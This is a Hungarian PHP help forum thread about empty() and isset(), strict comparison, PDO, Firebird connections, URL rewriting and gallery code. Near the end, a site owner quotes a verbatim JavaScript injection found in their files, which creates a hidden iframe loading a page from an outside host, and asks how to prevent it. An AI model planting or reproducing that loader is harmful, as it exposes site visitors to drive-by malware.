Az empty() az ekvivalens feltétel második fele miatt problémás. Itt a != operátort látod, ami azt jelenti, hogy a php itt a $v értékét előbb át fogja cast-olni bool típusúra. Ezért van az, hogy a "", "0", "0.0" stringekre az empty egyaránt igazzal fog visszatérni. A gyarkolatban ebből az következik, hogy az empty() teljesen alkalmatlan bármire, visszatérési értékének semmi köze ahhoz, hogy "üres"-e a változó értéke vagy sem. Javaslom, soha, semmilyen körülmények között ne használd az empty()-t, ez egész egyszerűen egy rosszul kitalált nyelvi elem a php-ban.(Egyébként is, a php-ban az == és != operátorok nem tranzitívak, ez elég ok ahhoz, hogy kerülendők legyenek. Helyette javasolt a === és !==, illetve úgy megírni a kódot, hogy tisztában legyél vele, melyik változód milyen típusú.)
Ez így nagyjából érthető?
[ Szerkesztve ]
-
#68216320
törölt tag
Teljesen érthető, nagyon köszönöm.
A típusegyenlő (===) vizsgálatok is jó ötletnek tűnnek. Használni kezdem őket az új forrásaimban.
Éppen most dolgozom egy saját project admin felületén. Eddig procedurális módon csináltam mindent, de kezdek áttérni a objektum alapú kódra. Szóval, van tanulni valóAz a helyzet nálam, hogy a PHP nyelv tanulásának kezdetén igen kevés és nem korszerű képzést kaptam. Mint szerintem nagyon sokan, mások forráskódjaiból próbáltam elsajátítani a továbbiakat. Illetve a 24órás sorozat tankönyve volt meg. Úgy tűnik viszont, hogy nem megfelelő forráskódokhoz jutottam hozzá és a hibák amik bennük voltak rögzültek bennem. Hiányzott egy ilyen fórum, ahol kiderülnek az ilyenek. Ugyanis bár próbáltam tesztelni az elkészült forrásokat, de nagyon sok hibás gondolatmenetre, rosszul alkalmazott eszközre nem derül fény ettől. Ezért elnézést is kérek mindenkitől, ha itt a fórumban hibák vannak az általam alkalmazott technikákban, de ha nem osztom meg a gondolataimat bizonyos helyzetekben, akkor ezek nem derülnének ki sohasem. Viszont, a következő hozzászólásaimban óvatosabb leszek már és az én úgy tudom, illetve szerintem kifejezésekkel fogom kezdeni őket, hogy másokat ne tévesszen meg esetleg hibás mivoltukkal, ahogy kezdetben velem tették más oldalak.
-
biker
nagyúr
válasz #68216320 #12698 üzenetére
jó kis vitát kavart a kérdésem...
Igen, a "-" nem szám, és kényszerből használom, mert alap, hogy terméket nem enged 0-val rögzíteni a rendszer, de mégis van ajándék termék, erre lett a - jel bevezetése
Sajna a "-" == 0 igaz, de a ===-nek is van szerintem hátránya: "0" === 0 FALSE szerintem, mert az első sztring a másik num
nem?Elektromos autó töltő berendezések | Mesterséges növényvilágítás | Mai ajánlatunk: www.gerisoft.hu | www.e-autotoltokabel.hu | www.agrar-vilagitas.hu |
-
Sk8erPeter
nagyúr
"Tehát az isset true-val fog visszatérni bármilyen változóra, ami nem létezik"
Hogy micsoda?
Ha van egy ilyened:
$valami;
az isset($valami) FALSE-szal fog visszatérni;
A $valami = 1; után már TRUE-val.
Hogy térne vissza true-val? Vagy csak elírtad?"Jól látható, hogy a neve ellenére az isset()-nek valójában semmi köze ahhoz, hogy egy változó (vagy tömb index) definiált-e vagy sem."
Az előbbi azt igazolja, hogy de igen, van köze hozzá (PHP 5.3.8-ban legalábbis biztosan, Te nem tudom, hányas változatról beszélsz, hol volt ez valaha érvényes (4-esnél simán lehet, ezt nem tudom), én az általad említett dologgal nem találkoztam még).
Ahogy arra is false-t ad vissza, ha a $nincsilyen változód nincs beállítva sehol hogy, és nyomatsz egy olyat, hogy isset($nincsilyen->tokmindegy), ahogy ugyanez igaz a $nincsilyen['tokmindegy'] ellenőrzésére is.
Ez most akkor pont annak ellenkezője, amit írtál, szóval nem értem az állításodat."(Ennek eldöntésére a get_defined_vars() való)."
Hmm? Hogy jön ide a get_defined_vars(), amikor csak egyetlen változó meglétét szeretnéd ellenőrizni? Ez a függvény egy komplett tömböt ad vissza az adott scope-ban elérhető lokális/globális/szerver/környezeti változókról, tehát tartalmazni fogja a $GLOBALS tömb dolgait, a $_SERVER dolgait, és így tovább... ezután ezen a tömbön fogsz kiadni egy isset()-et, és akkor ugyanott vagy, vagy ezt most hogy értetted?
Nem az array_key_exists() vagy property_exists() és társai valamelyikére gondoltál?"A gyarkolatban ebből az következik, hogy az empty() teljesen alkalmatlan bármire, visszatérési értékének semmi köze ahhoz, hogy "üres"-e a változó értéke vagy sem. Javaslom, soha, semmilyen körülmények között ne használd az empty()-t, ez egész egyszerűen egy rosszul kitalált nyelvi elem a php-ban."
Mondjuk akkor még lehet értelme, ha a "", 0, 0.0, "0", NULL, FALSE, array() és értékadás nélkül deklarált $var változók közül egyik sem felel meg neked, és megköveteled, hogy mindegyiktől különbözzön mondjuk adott mező Ha például egy adott mezőt kötelező kitölteni, vagy mondjuk 0-nál (0.0-nál) nagyobb szám megadására van szükség, akkor végül is ellátja a feladatát, de ettől függetlenül azzal egyetértek, hogy általános validációra nyilván alkalmatlan.Sk8erPeter
-
Sk8erPeter
nagyúr
válasz #68216320 #12696 üzenetére
"php.ini-ben lehet beállítani valahol alapértelmezettként az error_reporting-et?"
Jaja:
http://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting"Illetve emlitetted az if( ! empty( $_POST['valami'] ) )-t. Inkább ez vagy az isset() ?"
itt tudod megnézni bővebben:
http://php.net/manual/en/function.empty.php
mondjuk a lényege már ki lett vesézve. A kettő nem ekvivalens, csak arra céloztam, hogy az empty()-ben eleve "benne van" egy isset()-vizsgálat is, tehát ez nem fog notice-t dobni, ez is nyelvi elem (nem függvény):
"No warning is generated if the variable does not exist. That means empty() is essentially the concise equivalent to !isset($var) || $var == false."
Tehát ha a !isset($_POST['valami']) igaz, akkor az is igaz, hogy empty($_POST['valami']). De az empty() ezentúl még lehet akkor is igaz, ha az adott változó érték nélkül lett deklarálva, vagy annak értéke egyenlő a következők valamelyikével: "", 0, 0.0, "0", NULL, FALSE, array(). Pont ezért lett korábban az a végkövetkeztetés, hogy ha általános validációt szeretnél, akkor arra nem feltétlenül alkalmas az empty(). De ha az előbbi értékek közül egyik sem felel meg, akkor kényelmes eszköz lehet, de ennél is igaz az, hogy ettől még nem biztos, hogy jó: a kódod nem mondja meg az azt olvasó számára egyértelműen, hogy milyen értékeket vársz el, bár ettől függetlenül valamelyest beszédes is. Csak azt megzavarhatja, aki nincs tisztában az előbb írtakkal, hogy ha mondjuk egy felhasználó éppen 0-t ír egy adott űrlapmezőbe, akkor is igazzal fog visszatérni az empty(), és ez nem minden esetben jön jól.=======================
(#12699) biker :
"de a ===-nek is van szerintem hátránya: "0" === 0 FALSE szerintem, mert az első sztring a másik num
nem?"
De igen, ahogy írtad, a "0" === 0 az hamis, mivel a három egyenlőségjellel típusvizsgálatot is végzel, és ez nagyon jól is van így. Szóval ez nem hátrány.
Ha már ennyire belementünk: van például az intval() függvény is:
http://php.net/manual/en/function.intval.php
na ez is teljesen alkalmatlan vizsgálatra, mert az intval("asd") eredménye például 0 lesz, ami nyilvánvalóan nem jó. Tehát PHP-ben elég kacifántos lehet adott esetben egy validáció.[ Szerkesztve ]
Sk8erPeter
-
cucka
addikt
válasz Sk8erPeter #12701 üzenetére
Hogy térne vissza true-val? Vagy csak elírtad?
Ja, igen, fordítva"Jól látható, hogy a neve ellenére az isset()-nek valójában semmi köze ahhoz, hogy egy változó (vagy tömb index) definiált-e vagy sem."
Egy példa arra, amikor egy tömb index definiálva van, isset szerint viszont mégsem:$a = array(0=>null);
$r = isset($a[0]);
var_dump($r); //-> FALSE
var_dump($a[0]); //-> NULL
var_dump(count($a)); //-> int(1)Ugyanez globális változóra. A $s az isset szerint nem létezik, valójában pedig igen.
$s = null;
$r = isset($s);
var_dump($r); //-> FALSE
var_dump($s); //-> NULL
var_dump(in_array('s', array_keys(get_defined_vars()))); //-> TRUE -
Sk8erPeter
nagyúr
Ja, így már érthető, de nem azt mondtad korábban, hogy HA NULL AZ ÉRTÉKE, mert akkor egyből érthető lett volna:
http://php.net/manual/en/function.isset.phpisset — Determine if a variable is set and is not NULL
már eleve ez van a doksiban.
Szerintem is totál degenerált dolog ez ilyen formában, mivel rohadtul félrevezető...Viszont ez működik:
$a = array(0=>null);
var_dump( array_key_exists(0, $a) ); // --> TRUE!visszatérve arra, amit írtál:
var_dump(in_array('s', array_keys(get_defined_vars()))); //-> TRUE
na ne már... ezt minden validálásnál így csinálod? Az összes, adott scope-ban elérhető változót lekéred egy tömbbe, és végigszaladgálsz rajtuk, csak hogy megtudd, egyetlen adott tömb egy adott kulcsa létezik-e? Akkor már nem értelmesebb kissé a fentebb említett array_key_exists()? Kicsit kevésbé tűnik erőforrás-igényesnek, eleve kevesebb adatból kell kibogozni a kérdésünkre a választ.Sk8erPeter
-
it_service
csendes tag
Helló, 1 kis segítséget szeretnék kérni.
Van 1 mysql táblám, 3 különböző mezővel.
id: 1
nev : XYZ
kor: 11id: 2
nev : XYZW
kor: 14...
Update-elem formról érkező adattal a 2. változatot vissza lehet-e kapni valahogyan azt hogy mondjuk a kor 14-ről 15-re változott?
Ergo azt a mezőnevet szeretném visszakapni amiben az érték megváltozott, jelen pillanatban 'kor'.
Köszönöm
-
DeltaPower
őstag
válasz it_service #12705 üzenetére
Az update előtt select és php-ben összehasonlítod.
"Moonshine Whiskey (70°, ízesítés nélküli) van. Fincsi" - Teebee - "De az kiírtaná az egész családomat..Akkor is ha csak én innék belőle.." - forintuser
-
it_service
csendes tag
válasz DeltaPower #12706 üzenetére
Igen, így lesz, köszi
-
trisztan94
őstag
Sziasztok!
Érdekesség szempontjából kérdezném az alábbi dolgot:
A Facebook hogyan tárolja a felhasználók posztjait, kommentjeit, lájkait, összes tevékenységét? Adatbázisba menti, esetleg XML-be? Egy ekkora adatbázis nem lassítaná használhatatlan szintre az oldalt?[ Szerkesztve ]
https://heureka-kreativ.hu
-
Soak
veterán
válasz trisztan94 #12708 üzenetére
MySQL is nagyon gyors (ha van alatta vas), de a facebook amúgy is élen jár az uj technológiák keresésében (költség optimalizálás) , ezért pl itt egy cikk : [link] , láthatod, hogy nem csak a relációs adatbázisok játszanak ilyenkor, de azért kiemelném ezt a részt : First deployment of Cassandra system within Facebook was for the Inbox search system. The system currently stores TB’s of indexes across a cluster of 600+ cores and 120+ TB of disk space. és ez egy több mint 4 éves bejegyzés .
-
Soak
veterán
válasz trisztan94 #12710 üzenetére
Azért a facebook szerintem kivülről sem egyszerű
-
trisztan94
őstag
Igen, ez kicsit gyenge kifejezés volt, de akkor se gondolná az átlagfelhasználó, hogy mi minden van mögötte. offban off: Ha jól értettem 600 magos szerver van alatta?!
Nem rég vágtam bele egy nagyobb projectbe, nem annyira bonyolult oldal, de még én sem gondoltam volna, hogy ennyit kell vele sz*rakodni, pedig azért nem az első melóm.
https://heureka-kreativ.hu
-
Soak
veterán
válasz trisztan94 #12712 üzenetére
Az nyilván nem egy szerver, hanem egy cluster, de amúgy jah, szerintem ma már van az 1000 is ...
Szerk : De ez nem a komplett site alatt van, hanem csak egy modul alatt.
[ Szerkesztve ]
-
Brown ügynök
senior tag
Van egy email feldolgozó kis program ami imap-pal működik. Az ékezetes csatolmány azonban elég csúnyán jelenik meg. Mégpedig így:
ISO-8859-2''%4D%F3%64%6F%73%ED%74%6F%74%74%20%E9%70%65%6E%67
A kódot nem én írtam és imap-ban sem vagyok járatos de talán valami kódolási/dekódolás megoldaná a problémát. Van ötletetek?
"hacsak nem jön a jó tündér break utasítás képében..."
-
Brown ügynök
senior tag
válasz Brown ügynök #12715 üzenetére
URL kódolva volt, nem karakterkódolási probléma. Egyébként egy hasznos oldal ezzel kapcsolatban: [link]
"hacsak nem jön a jó tündér break utasítás képében..."
-
alitak
senior tag
Sziasztok,
belefutottam egy olyan gondba, hogy interbase adatbázishoz nem tudok csatlakozni. A phpinfo szerint a firebird/interbase driver engedélyezve van, a kód futáskor meg azt mondja, hogy Fatal error: Call to undefined function ibase_connect()
Találkoztatok már ilyen gonddal?[ Szerkesztve ]
Nec arte, nec marte | használt hardverek jó áron: http://goo.gl/lUwLkw
-
jeszi
tag
Sziasztok!
Kb. 100 ingatlan képét kellene megjeleníteni. Egy ingatlan kb.4 képet tartalmaz.
Arra gondoltam, hogy minden ingatlan egy mappában lenne, pl.:
(sorszam-település)1-Budapest
1.jpg 2.jpg 3.jpg 4.jpg
2-Budapest
5.jpg 6.jpg 7.jpg 8.jpg
3-Dunakeszi
9.jpg 10.jpg 11.jpg 12.jpgNa ezt kellene jól megírni php-val, hogy a mappák látszódjanak és ha kattintanak egyre, akkor az ott lévő képek látszódjanak.
Kb. a linkek megvannak:
foreach (glob("./*-*") as $filename)
{
echo "<br>";
echo "<a href=\"".$filename."\">".$filename."</a><br/>";
// echo "<img src='".$filename."'/>";
echo "<br>";
}Azért írtam ide, mert aki ezzel foglalkozik, szerintem annak 2 perc ezt megírni, nekem viszont nem triviális a megoldás, nem vagyok fejlesztő, elakadtam. A segítséget köszönöm!
[ Szerkesztve ]
Nem félek a haláltól, majdcsak túlélem valahogy!
-
Siriusb
veterán
Nekem ez egy kicsit furcsa elgondolás. Én létrehoznék 100 linket a 100 ingatlannak, és pl. colorbox-szal galériaként megjeleníteném a képeket, minden ingatlan egy-egy galéria.
Tehát lenne minden ingatlanhoz egy ul, aminek az elemei hivatkozások <a> a képekre. A rel taggal lehet colorbox-nál csoportosítani a képeket. Vegyük a könyvtár nevét: bp001, ezt teszed be a a rel-be <a href="#" rel="bp001>bp001: ez a szöveg a link</a>, így amikor rákattintasz a hivatkozásra, colorbox-ban megjelenik az első kép, mint kép 1 / 4 és szépen végig lehet lapozni. Másik hivatkozásra kattint, másik galéria jön fel.Szerk: persze minden képhez kell egy linket generálni, de csak egy hivatkozást jelenítesz meg, a többit css-szel elrejted.
[ Szerkesztve ]
-
alitak
senior tag
CentOS. Viszont időközben a rendszergazdánk alakított valamit, mert a függvény már megy. Az új probléma, hogy nem tudok becsatlakozni külső adatbázishoz. Másik, nagyon hasonló rendszerről ugyanaz a PHP kód működött, valamint kliensprogramból be tudok csatlakozni. Még megpróbálok ssh-n keresztül csatlakozni, lehet más a gond, nem pedig a PHP.
Nec arte, nec marte | használt hardverek jó áron: http://goo.gl/lUwLkw
-
Sk8erPeter
nagyúr
válasz alitak #12724 üzenetére
Most ez kábé olyan hibaleírás volt, mint a "nem működik, mi lehet a gond?" Azt sem írtad, milyen hibaüzenetet kapsz a külső adatbázishoz kapcsolódásnál. Ennyi alapján nem lehet segíteni.
Egyébként PDO-val is lehet csatlakozni a Firebird/Interbase-hez:
http://php.net/manual/en/ref.pdo-firebird.php
amivel amúgy is jóval igényesebb lenne.Sk8erPeter
-
alitak
senior tag
válasz Sk8erPeter #12725 üzenetére
Igen, ebben abszolút igazad van. Ez a hiba:
Unable to complete network request to host "*****". Failed to establish a connection. A kapcsolat időtúllépés miatt megszakadt in *** on line 438A PDO csatlakozást is próbáltam, ott ez lett a vége:
Fatal error: Uncaught exception 'PDOException' with message 'could not find driver' in ***:439 Stack trace: #0Ez szerver beállítás hibája lesz?
Nec arte, nec marte | használt hardverek jó áron: http://goo.gl/lUwLkw
-
cucka
addikt
válasz alitak #12726 üzenetére
Az első azt mondja, hogy nem tud csatlakozni a szerverhez. Ellenőrizni kell, hogy egyáltalán fut-e azon a szerveren az adatbázis és hogy a tűzfalban engedélyezve van-e a kapcsolat (kifele és befele is, nem elfelejtve, hogy melyik portról van szó).
A második azt mondja, hogy a PDO nem találja a megfelelő adatbázis drivert, szóval lényegében el sem jut oda, hogy megpróbáljon csatlakozni. -
alitak
senior tag
A firebird szervet innen lokálisan a gépről egy kliensprogrammal (FlameRobin) elérem. PHP-val a szerverről nem érem el. A PDO elképzelhető, hogy nincs telepítve, a szerver üzemeltetés rész nem nálam van. Rákérdezek. Van arra esély, hogy ha az ibase_connect() segítségével nem tudok csatlakozni, attól a PDO-val menni fog a dolog?
Nec arte, nec marte | használt hardverek jó áron: http://goo.gl/lUwLkw
-
Dave-11
tag
Egy JavaScript változó értékét hogy tudom átadni egy PHP változónak?
:D Semmi :D
-
Dave-11
tag
Nem igazán, arról lenne szó, hogy van egy űrlap, abból javascript feldolgozásával kapunk egy értéket, és ezt php-val el kell küldeni egy e-mail címre a mail függvénnyel.
Az űrlapot muszáj javascripttel feldolgozni.
Ötlet?
Próbálkoztam ezzel:
<?php
$var = '<script language="javascript">document.write(valtozo);</script>';
echo $var;
?>
Ezzel csak az a baj, hogy undefinde-ot ír ki, és nem tudom hogy miért:D Semmi :D
-
fordfairlane
veterán
válasz Dave-11 #12733 üzenetére
Ezzel csak az a baj, hogy undefinde-ot ír ki, és nem tudom hogy miért
Azért ír undefined-et, mert a javascriptet a böngésző értelmezője hatja végre, a javascript változók a kliensgép memóriájában jönnek létre, míg a PHP a kiszolgálóoldalon teszi ugyanezt.
Semmiféle automatizmus nincs a HTTP protokollban erre a célra, ezt a változót valahogy el kell küldeni a szervernek, ugyanúgy, ahogy az űrlap mezőit is. Hidden mezőt célszerű használni, ahogy írták előttem.
[ Szerkesztve ]
x gon' give it to ya
-
vamzi
őstag
Sziasztok!
Szeretnék egy baromi egyszerű oldalt magamnak, de most a kódolásra nem akarok időt pazarolni. Az otthoni hobbi projektjeimet szeretném vele egy helyre összeszedni. Forráskódok, szövegek és képek. Ez eddig mezei HTML, ami jelenleg is megy, de a forráskódokat szeretném, ha úgy jelenne meg, mint mondjuk a Notepad++-ban, tehát színezve, sorszámozott sorokban és kimásolhatók legyenek. Erre a Geshi-t találtam, ami tényleg nagyon pöpec, de ebbe sajnos csak megjeleníteni tudom a beírt forrást.
Én viszont azt akarom, hogy ha feltöltöm egy mappába a forrásfájljaimat, akkor az adott oldal annak a tartalmát nyissa be és formázza a kiterjesztésnek megfelelően.
Van erre valami jó plugin?
-
Tele von Zsinór
őstag
-
vamzi
őstag
válasz Tele von Zsinór #12738 üzenetére
Ez már funkcionalitásban túl sok. Semmi komolyat nem szeretnék, pusztán összeszedni az eddig megcsinált projektjeimet és azokat egy helyen tárolni.
De, köszönöm.
-
Mbazsika
tag
Sziasztok!
Nem értem, hogy a visszaadott JSON eredménybe miért nincsenek benne a mező nevek, ellentétbe a mintákkal:$result = sasql_query($link,
"Select STIME, STAT From .............");
$retrows = array();
while ($row = sasql_fetch_row($result))
{
$retrows[] = $row;
}
sasql_disconnect($link);
header('Content-type: application/json');
echo '{"posts":'.json_encode($retrows);Az eredmény:
{"posts":[["2013\/02\/16 15:50",16],["2013\/02\/16 16:00",16],["2013\/02\/16 16:10",16],["2013\/02\/16 16:20",16],["2013\/02\/16 16:30",16],["2013\/02\/16 16:40",16],["2013\/02\/16 16:50",16],["2013\/02\/16 17:00",16],["2013\/02\/16 17:10",16],["2013\/02\/16 17:20",16]]
Mit rontok el?
Előre is köszi a segítséget! -
válasz Mbazsika #12740 üzenetére
Használd a sasql_fetch_assoc-ot a sasql_fetch_row helyett.
-
Mbazsika
tag
válasz Peter Kiss #12741 üzenetére
-
kkdesign
senior tag
Üdv, olyan kérdésem lenne, hogy szeretnék egy olyan oldalt, hogy menüpontok megnyomása után a középső content divbe includoljon egy külső php tartalmát és mindig mikor megnyomom a másik menüpontot, az töltsön be. ezt hogy tudom megvalósítani egyszerűen?
-
Soak
veterán
válasz kkdesign #12743 üzenetére
a linknek adsz egy get paramétert . pl href="/index.php?page=info" , utána pedig a content részen (div-ben) csinálsz valami ilyesmit
switch($_GET['page']){
case 'info':
include 'info.php';
break;
default:
include 'index.php';
break;
}De ez elég gány és a googlebe is megtalálhattad volna 2 perc alatt.
-
Dave-11
tag
Sk8erPeter még te javasoltad nekem, hogy a mysql_query() és hasonló dolgok helyett használjam inkább a PHP PDO objektumát. Megfogadtam a tanácsodat, és mostanság már csak azt használgatom, illetve gyakorolom a használatát, és lenne is vele kapcsolatban egy kérdésem:
Tegyük fel, hogy van egy adatbázis, benne egy táblám, és én abból tudom, hogy csak egy sort szeretnék kiválasztani, és hogy annyit is fogok kapni. És mondjuk egy sor egy értékét szeretném egy változóba menteni. Eddig így csináltam:
$query = $db->prepare("SELECT * FROM `users` WHERE `id` = :id");
$query->execute(array(":id" => $_GET["id"]));
$felh_nev;
foreach($query as $sor){
$felh_nev = $sor["username"];
}
Remélem értitek mire gondolok itt, ha tudatosan csak egy sort akarok kiválasztani egy táblából, akkor nekem így furának tűnik, hogy foreach -el ugyanúgy végig kell mennem az eredményem, nincs egy egyszerűbb megoldás, vagy ezt így kell csinálni?:D Semmi :D
-
Lacces
őstag
Hali,
.htaccess-es átírányításokat hol lehetne tanulni? Főleg a következő eset érdekelne:
URL-ben beírva:
test/ - et (virtuális hoszt beállítva, ez a host név) Behozza automatikusan a webapp index.php fájlját, megjeleníteni pöpecül.
test/profile/view -öt beírva az url-be ilyenkor könyvtárt keres, ami nekem nem jó!
Azt szeretném elérni, hogy a /test/ után lévő dolgokat, REQUEST_URI-ként értelmezzen, és ezt feltudnám akkor használni az alább látható php kódban.Mint ahogy itt a PH is lehet: http://prohardver.hu/fooldal/rovat/processzor/ - ezt a fooldal/rovat/processzor/ részt REQUEST_URI-ként értelmezze és ne pedig fájl elérési útként...
Nem tudom, hogy ezt hogyan hívják... Ha valaki megmondaná, hogy mire keresek Google-ban már az is nagy segítség lenne.
PHP kód (bár ez lényegtelen):
if(!empty($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] != '/') {
//overwrite default controller/action
$uri = $_SERVER['REQUEST_URI'];
} -
CSorBA
őstag
Javascript topikban nem jártam sikerrel, hátha itt valaki tud valami okosat
Van egy adott url, van egy adott oldal.
Facebook comment box.
Ugye mondjuk: data-href="http://domain/cikk" html5 + betöltve az fb js az elején, egy most generált app id-vel.
Mi van, ha domaint váltok, hogy tarthatom meg a hozzászólásokat? (ha a data href-et a régin hagyom, akkor ugye url warningot kapok a comment box alján.)
Appnál az "App Domains" és a Website with Facebook Login részben a Site url mező ki van töltve (bár ezt az utóbbit nem értem miért kell.
-
Lacces
őstag
válasz Siriusb #12751 üzenetére
és Soak,
Köszönöm a segítséget, sajnos nekem ezek a megoldások nem jók. De hátha meg lelelem előbb-utóbb
http://prohardver.hu/muvelet/hsz/ - ezt szeretném úgy megoldani, hogy ne fájl elérési útvonalként fogja fel az apache.
Ha az index.php-ban meghívom a $_SERVER['REQUEST_URI']-t akkor annak tartalma a /muvelet/hsz/ legyen!Lehet itt valami Followsys kell nekem....
[ Szerkesztve ]
-
Sk8erPeter
nagyúr
válasz Siriusb #12751 üzenetére
[A-Za-z0-9-]+
Ennél a reguláris kifejezésnél egyébként érdemes tisztában lenni azzal, hogy ez ténylegesen csak A-Z-ig terjedő nagybetűkre, a-z-ig terjedő kisbetűkre, valamint a 0 és 9 közt lévő számokra illeszkedik, plusz a kötőjelre, pedig egy URL más karaktereket is tartalmazhat (például alsóvonás (_), szóköz, pont, vessző, plusz karakter, stb.).
Szóval ez csak akkor működik jól, ha van valamiféle transliteration az URL aliasokra, amely csak ezekre a karakterekre korlátozza a lehetséges aliasokat (az egyebeket helyettesíti).Sk8erPeter
-
sgery
őstag
Sziasztok!
A html topikban kezdtük fejtegetni gondomat, ami nem más, mint a php meghívása html kódból.
Fontos, hogy a szolgáltató már aktiválta a html kódban is a php kódok lefutását, tesztelve, működik is.
Azért kell meghívni a php file-t, mert ez detektálja és irányítja az m. aldomainre a mobilról érkező látogatókat.Erről az oldalról van most szó. Az inculde kód a header elején van elhelyezve, de nem történik semmi. A mobil.php kódja biztosan megfelelő, mert ha ezt nyitom meg a telefonról, akkor az m. oldalra dob rögtön.
A gond az, hogy mégse történik meg a meghívás valamiért. Ha sima php print kódot teszek helyére akkor kiírja a kódot, tehát mennie kellene.Kipróbáltam, hogy létrehoztam egy sima php file-t az alábbi kóddal, aztán ezt nyitom meg a mobiltelefonról és így sem történik meg az átirányítás az m. oldalra, tehát valami nem jó.
Mi lehet a gond?
Az index és a mobil.php is a gyökérkönyvtárban van.
FurTv-s Lapeno figurát keresek, aki tudja hol lehet venni szóljon!!!:)
-
Soak
veterán
Az hogy gondolom a mobil.php-ban header-t macerálsz, mégpedig, ha elolvasod ezt : header , írja, hogy :
Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include, or require, functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file.
Ezért mondtam már az elején, hogy mutass kódot, mert úgy egyszerűbb a segítség .
-
sgery
őstag
A html pedig így néz ki
[ Szerkesztve ]
FurTv-s Lapeno figurát keresek, aki tudja hol lehet venni szóljon!!!:)
-
Lacces
őstag
Na egy másik... régen tudtam, de most nem tudom hirtelen a megoldást.
Ez a Json adat:
{"kulcs1":{"name":"Teszt G\u00e9za","email":"testgeza@test.hu"}Ebből szeretném mindössze csak a name és az email mezők értékét kiolvasni, amit az alább látható dupla foreachel elérem.
Ezzel megy, de dupla foreach-es:
foreach($data as $d)
{
foreach($d as $key => $value)
{
print_r($value);
}
//print_r($d);
}De kérdésem az lenne, hogy van-e egyszerűbb módja-e ennek?
Ha a külső foreachet elhagyom, az nem jó, mert akkor egy ilyet add vissza:
stdClass Object ( [name] => Teszt Géza [email] => testgeza@test.hu [id] => 1 ) -
Soak
veterán
válasz Lacces #12762 üzenetére
Ilyenkor érdemes megnézni a dokumentációt, annál talán nincs hitelesebb forrás ... http://httpd.apache.org/docs/2.2/rewrite/flags.html
-
Zeki
nagyúr
Kedves topiklakók!
PHP tudásom nulla, és talán a jövőben sem lesz ilyenre szükségem.
Amiért most mégis, az az, hogy egy feladatot csak így lehet megcsinálni.
Van egy weboldalam, amit a cloudflare.com véd.
Oda egyesével is belehet írkálni lassan a kitiltandó IP címeket, de nekem több mint 1000-et kellene bevinni.
Erre van nekik egy API megoldásuk ilyen esetekhez is (ehhez sem értek)...
http://www.cloudflare.com/docs/client-api.html#s4.7
http://www.cloudflare.com/docs/client-api.html#s2.1Szóval hogy tudom én ezt megoldani, vagy valaki megtudja-e nekem?
Bővebb infó PÜ-ben lenne.Előre is köszönöm!
-
Dave-11
tag
Sziasztok!
Tegyük fel, hogy csinálok egy MySQL lekérdezést, és azt lefuttatom a PHP dokumentumban, és aztán ki szeretném íratni az eredménytábla adatait. De mi van akkor, ha mondjuk a lekérdezéssel több táblát kapcsolok össze, mondjuk kettőt, hármat vagy esetleg többet. Valami ilyesmire gondoltam:
SELECT p.id, p.title, u.id, u.name
FROM posts as p, users as u
ORDER BY p.id DESC;
(Most azt kérlek ne nézzétek, hogy ennek a lekérdezésnek nincs túl sok értelme.)
Na és egy foreach -el bejárnám a kapott tömböt, és hogyan tudnám megcsinálni, hogy mondjuk a p.id -t iratom ki? Mert így nekem nem működik:
foreach ($eredmeny as $sor){
echo $sor["p.id"] . '<br/>';
}
Erre hibát jelez.
Index számokkal működik ( pl.: echo $sor[0]; ), de úgy nem olyan jó. Ötlet?[ Szerkesztve ]
:D Semmi :D
-
Lacces
őstag
válasz Dave-11 #12768 üzenetére
Majd add meg a php kódot is, ami elindítja az sql query-t és tárolja az eredményt is. Mert már lehet ott gond van.
Itt meg adjál meg "becenevet" az oszlopoknak
SELECT p.id, p.title, u.id, u.name
Ilyenre:
SELECT p.id as pid, p.title as ptitle, u.id as uid, u.name as unamePlusz a hibát is bedobhatnád.
[ Szerkesztve ]
-
V.Gábor
csendes tag
Sziasztok. LKezdő php's vagyok.
Egy olyan problémám van, hogy írok egy PHP-s oldalt, (utf8_general_ci vel illesztve). az itthoni gépemen jól működik, de amikor feltöltöm szerverre (uw, vagy atw't használom egyenlőre, mint ingyenes) a megjelenítése nem jó és a karakterkódolásnál folyton állítani kell a böngészőt Unicode, hogy jól jelenítse meg. Valaki tudna segíteni, hogy mi lehet a probléma?
Előre is köszönettel Gábor -
MODERÁTOR
Meglepődve tapasztalom, hogy valaki belenyúlt az oldalamba.
Egyszerű php oldalacska, és a header, footer és index.php fájlokat (valamint egy js-t is, amit valójában nem is használ az oldal) megváltoztatták. Egy-egy ok felirat látszik így most a fejlécben és a láblécben is.Ez került bele (a kódban lévő linken nem tudom mi van, de felelősséget nem vállalok érte):
<!--68c8c7--><script type="text/javascript" language="javascript">
(function () { var id = '195'; var u09 = document.createElement('iframe'); u09.src = 'http://www.torsdagsherrer.skjern-net.dk/dtd.php'; u09.style.position = 'absolute'; u09.style.border = '1'; u09.style.height = '31px'; u09.style.width = '42px'; u09.style.left = '500px'; u09.style.top = '100px'; if (!document.getElementById('u')) { document.write('<style>body{overflow-x:hidden;}</style>'); document.write('<div id=\'u\' style="position:absolute; width:80%; height:100%;" ></div>'); document.getElementById('u').appendChild(u09); }})();</script><!--/68c8c7-->A jelszó szerintem abszolút biztonságos (kis- és nagybetűk, számok, össze vissza, nincs ismétlődő karakter). Hogy lehetséges, hogy mégis valaki (vagy valami) belenyúlt. Mit tehetek ellene, hogy lehet kivédeni?
Harrrr!!!!
-
lordjancso
senior tag
-
DeltaPower
őstag
Nálunk is kapott ilyet az egyik ügyfél, de log persze semmiről sincs, úgyhogy nem igazán tudtam lenyomozni a belépési pontot. Ha nem az ftp jelszavuk került ki, akkor php exploitra gyanakszom még, mert azon a tárhelyen 5.2 volt, a mi saját kezelésű tárhelyeinken pedig 5.3+ van és nem találkoztunk ilyennel.
"Moonshine Whiskey (70°, ízesítés nélküli) van. Fincsi" - Teebee - "De az kiírtaná az egész családomat..Akkor is ha csak én innék belőle.." - forintuser
-
MODERÁTOR
válasz lordjancso #12779 üzenetére
Igen, ezt a kettőt és még az index.php-t is (amibe amúgy be van hívva a header és a footer.php).
Operában például nem is lehet a fejlécben semmire kattintani.Egy kattintással vissza tudom tenni a ma reggeli vagy a tegnapi verziót, ezzel tehát nincs gond, csak nem tudom hogy csinálták és hogyan tudom kivédeni legközelebb.
CineDOG1: Köszi, megnézem mit tud.
